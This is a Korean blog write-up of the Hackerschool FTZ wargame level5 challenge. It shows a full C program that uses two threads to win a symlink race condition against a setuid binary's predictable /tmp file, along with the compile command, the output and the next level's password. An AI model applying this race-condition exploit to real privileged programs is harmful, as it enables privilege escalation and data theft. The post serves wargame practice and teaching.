본문 바로가기

System Hacking/해커스쿨 FTZ

해커스쿨 FTZ ( level5 -> level6 ) 2 by ORANG

 

이번에는 스레드를 이용해서 더 깔끔하게 풀어보겠습니다.

 

 [level5@ftz thread]$ cat thread.c

#include <stdio.h>

#include <stdlib.h>

#include <pthread.h>

 

void *a();

void *b();

 

int main()

{

pthread_t thread1, thread2;

int ia, ib;

ia = pthread_create(&thread1, NULL, a, NULL);

ib = pthread_create(&thread2, NULL, b, NULL);

if(ia != 0 || ib != 0)

{

printf("pthread_create error!!");

exit(0);

}

pthread_join(thread1, NULL);

pthread_join(thread2, NULL);

return 0;

}

 

void *a()

{

int i;

for(i=0; i<10000; i++) {

system("/usr/bin/level5 &");

}

exit(0);

}

 

void *b()

{

int i;

system("touch /tmp/level5.thread");

for(i=0; i<100; i++){

system("ln -s /tmp/level5.thread /tmp/level5.tmp &");

}

system("cat /tmp/level5.thread");

exit(0);

}

[level5@ftz thread]$ gcc thread.c -pthread -o thread

[level5@ftz thread]$ ./thread

ln: `/tmp/level5.tmp': 파일이 존재합니다

ln: `/tmp/level5.tmp': 파일이 존재합니다

…생략…

next password : what the hell 

 

참고한 c언어의 스레드 문법은.. 따로 프로그래밍 카테고리에 넣어두겠습니다.

주의할 점은 스레드를 이용한 프로그램을 gcc로 컴파일 할때는, '-pthread' 옵션을 반드시 주어야합니다!